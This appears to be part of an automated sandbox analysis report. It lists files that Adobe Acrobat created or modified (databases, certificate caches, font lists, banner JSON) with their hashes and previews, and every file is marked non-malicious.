Preview:	2025/01/10-16:13:41.620 201c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-16:13:41.661 201c Recovering log #3.2025/01/10-16:13:41.714 201c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 16, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 16
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.4387203567027615
Encrypted:	false
SSDEEP:	384:CeKci5G4iBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:dUurVgazUpUTTGt
MD5:	DC8F3F9D4943F6622525C6155A988B81
SHA1:	10411A1872A6B8D84E06D1A9840E39C78F762D32
SHA-256:	6B5AE7BB1C44255DCA4D770861E40DE16841DADC60C6A96A8A51BBD350D6EC85
SHA-512:	CDB65CE2272CCA3736BF135DA001232CEFB16DE10494DA5B9931923EA9641DE0B0DF494B465896BA4ADA7CAAC261DCFAA9E8B0F76A61A6D06315195E2A2E65B5
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	2.2156458327781925
Encrypted:	false
SSDEEP:	24:7+tAFG6wKrqL7zkrFsgIFsxX3pALXmnHpkDGjmcxBSkomXk+2m9RFTsyg+wmf9M+:7MLWrq/mFTIF3XmHjBoGGR+jMz+LhT
MD5:	C05EAFD66DD107FFA46673EC35CEDA06
SHA1:	92A14384BA5353DB55A83213A9371277B0AC6C71
SHA-256:	EE4E17E40DB1943275082F9E376674A9C330DBFE68E110F5D7964599DA561BAA
SHA-512:	C97F1FA6C2EE9AD27AD859A4D88B01CF8CB444300088D41E168ABA35A2E788E17D85CAEC0397DD0B73E001CC0AF646B591C80BC3966EB58F696364DE897A1BC0
Malicious:	false
Preview:	.... .c................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7425532007658724
Encrypted:	false
SSDEEP:	3:kkFklhjf+stfllXlE/HT8kU/h1NNX8RolJuRdxLlGB9lQRYwpDdt:kKKeT8zRNMa8RdWBwRd
MD5:	E8689A06326AC4B822D85D35DA261CE0
SHA1:	20955FF3DFBFA4F6FB8F1084E344361CB72D3863
SHA-256:	D9012E16DCA55F82342439DE2C6D610E764D8C88E554B610BBBC2349B18CEB3A
SHA-512:	C2A839ED06B4FBEAC4B52127ABF948979ED87D35C9DC12108AC82797A88E6C7A27790094778B413930FD20FA574C95E6B2271517E897796696703298B0E8E699
Malicious:	false
Preview:	p...... .............c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.2225942196614334
Encrypted:	false
SSDEEP:	6:kKIJl/L9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:il/iDImsLNkPlE99SNxAhUe/3
MD5:	0372FE36DE05D807EE36E0234D841F9F
SHA1:	3E8CFCBD3F94A7B95485971A4B5BCEB792783866
SHA-256:	B48FCCB90A563F074C59ADEC21CB283F2C931603E6A7ACAC750535840CB9F087
SHA-512:	368B69568C062379A152A0C4BDF44097A828CBE8338A8D9A18948BE34AC67C4314E379C45BD20DF32E3C27A3DFE6D6CA6A2054301A04EE318672BB938A8F016E
Malicious:	false
Preview:	p...... ........./...c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.1132

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.1132

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.366214010000953
Encrypted:	false
SSDEEP:	6:YEQXJ2HX2+KaUXjb24kF0YesSsoAvJM3g98kUwPeUkwRe9:YvXKXHFUTbdZsSfGMbLUkee9
MD5:	F2DD9C114A9CC0F50A7E667467CA4EAF
SHA1:	9628E660D259E5B12CCE4D807A51880EA66BEBAC
SHA-256:	CD4CD89E64FB4C5AA3948C85B5CA417864FAA64A6DA61170327DCAF316C0BA21
SHA-512:	420AF81D737914537424515F2C0EEAFC174D00640DADE7107390E7820E8BECC89E28AF006166418772ECC0B8C73BB4EE663F361006713CF69972D849EA156181
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5813029e-9e8f-4482-b61c-cdd34c74d5f7","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736722553788,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.30262679841467
Encrypted:	false
SSDEEP:	6:YEQXJ2HX2+KaUXjb24kF0YesSsoAvJfBoTfXpnrPeUkwRe9:YvXKXHFUTbdZsSfGWTfXcUkee9
MD5:	0DA789E0F3F2A054777B9AE2BFAA7D5C
SHA1:	03679A51F607571D4BF0A4E1CE3D260D54D18E82
SHA-256:	0932D3930F139ED15C1B6A07276CFC1F991057A79A2A7BB742E87D3FC8833D66
SHA-512:	4AA8846A22AA72EAE1478143BC9B9475159CF4042A118C3083691278916FA0712D34BA3A10C4DFF9A3D20400C4EFD47CBE7EDF88493E489F921E09E8C171F472
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5813029e-9e8f-4482-b61c-cdd34c74d5f7","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736722553788,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.280765713159938
Encrypted:	false
SSDEEP:	6:YEQXJ2HX2+KaUXjb24kF0YesSsoAvJfBD2G6UpnrPeUkwRe9:YvXKXHFUTbdZsSfGR22cUkee9
MD5:	7861FD3905C6CCF070226E09955419C5
SHA1:	655F3A6EE6E1C0908E56721692D238BEA98A8F78
SHA-256:	3185C4019CA9C6190FCDB58F7D0FF04F587E7E57A8A189DA9E79AC1DA8D9DC51
SHA-512:	BE2DB0B03057AAD62C1ECF204A5D49E8592008BF5FDB8FAA28F06146F5B7839DD2D399EB41DF3DD1FCEB341530A051F6662C3F0573AF0A1258818E821B93B654
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5813029e-9e8f-4482-b61c-cdd34c74d5f7","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736722553788,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.340592741773533
Encrypted:	false
SSDEEP:	6:YEQXJ2HX2+KaUXjb24kF0YesSsoAvJfPmwrPeUkwRe9:YvXKXHFUTbdZsSfGH56Ukee9
MD5:	17DABF285895B2BAFD28338C72C98E4C
SHA1:	DEFA404A6C44A1D4E479E7DCDF9B6F94EACDDA02
SHA-256:	586C01DB91B3B6B8D9EA22578D8FEA2D66CA762E34E0FA9B419202FDCF1FCF81
SHA-512:	D01660140542203CDE81482D2286398E5594923F5AEEA080C7550DA537C208D146212798B3000EDBDE338250C4ADC3E2F5C82FA14205C8827CFE8C1BB40BAFFE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5813029e-9e8f-4482-b61c-cdd34c74d5f7","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736722553788,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.686131961902811
Encrypted:	false
SSDEEP:	24:Yv6XlUXESEpLgE9cQx8LennAvzBvkn0RCmK8czOCCSuZ:YvQwErhgy6SAFv5Ah8cv/0
MD5:	5991F35306214964BE0745D33AA2BC9E
SHA1:	E5B13302DF42646A4868CC40BCA8BD603C76F39A
SHA-256:	D3E8E8A60613D64E9A6CF57B8DE2479F0F8F5D7BE3C4C21CBF36E8AE5BF62528
SHA-512:	BC2DF8E19D0F07F309A631BB57098F586787609BF4B56BBC865B2C0BEFA6BC85F8C77F80F898EAED815E37DA87E6991C038E4CE3985CF6606C67CEA884DD56D1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5813029e-9e8f-4482-b61c-cdd34c74d5f7","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736722553788,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.279897075350283
Encrypted:	false
SSDEEP:	6:YEQXJ2HX2+KaUXjb24kF0YesSsoAvJf8dPeUkwRe9:YvXKXHFUTbdZsSfGU8Ukee9
MD5:	35D6CAAC3266DCFB9B3374C2DC5E1AA8
SHA1:	0AB5D4D87FD62766F19884AD1E45D57EFC778A28
SHA-256:	854750C43EA399AB884960E648D645E111511BA4E3B8FB0E53E870965DFAA244
SHA-512:	272368D7C3DD2EBBD9B57497ED2E66C810B75CC585A19FA34FDA434ABC12BE37FC77D4AF37F064D555AE4D8003CA913CA20F89FC9098511A49B22D030834A7EA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5813029e-9e8f-4482-b61c-cdd34c74d5f7","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736722553788,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.282117240157545
Encrypted:	false
SSDEEP:	6:YEQXJ2HX2+KaUXjb24kF0YesSsoAvJfQ1rPeUkwRe9:YvXKXHFUTbdZsSfGY16Ukee9
MD5:	7995016A4158597868C63D117997676A
SHA1:	DF7C568C7FDE04C7FB77EA1F96CADAD6A49CA436
SHA-256:	B8E609D811972CD96E365CDEC37E40626D0575869FAA343D90770FA651F8F18A
SHA-512:	0BF4CB8BA9D43167A0147BD4E81B1CB34BE4ED6BCD2E327E88B2AB2BE79D44416A578236F7C16B9C8A615AB5D53D10CFA1D08B5D0C79A7CD8239C9452167FD0B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5813029e-9e8f-4482-b61c-cdd34c74d5f7","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736722553788,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

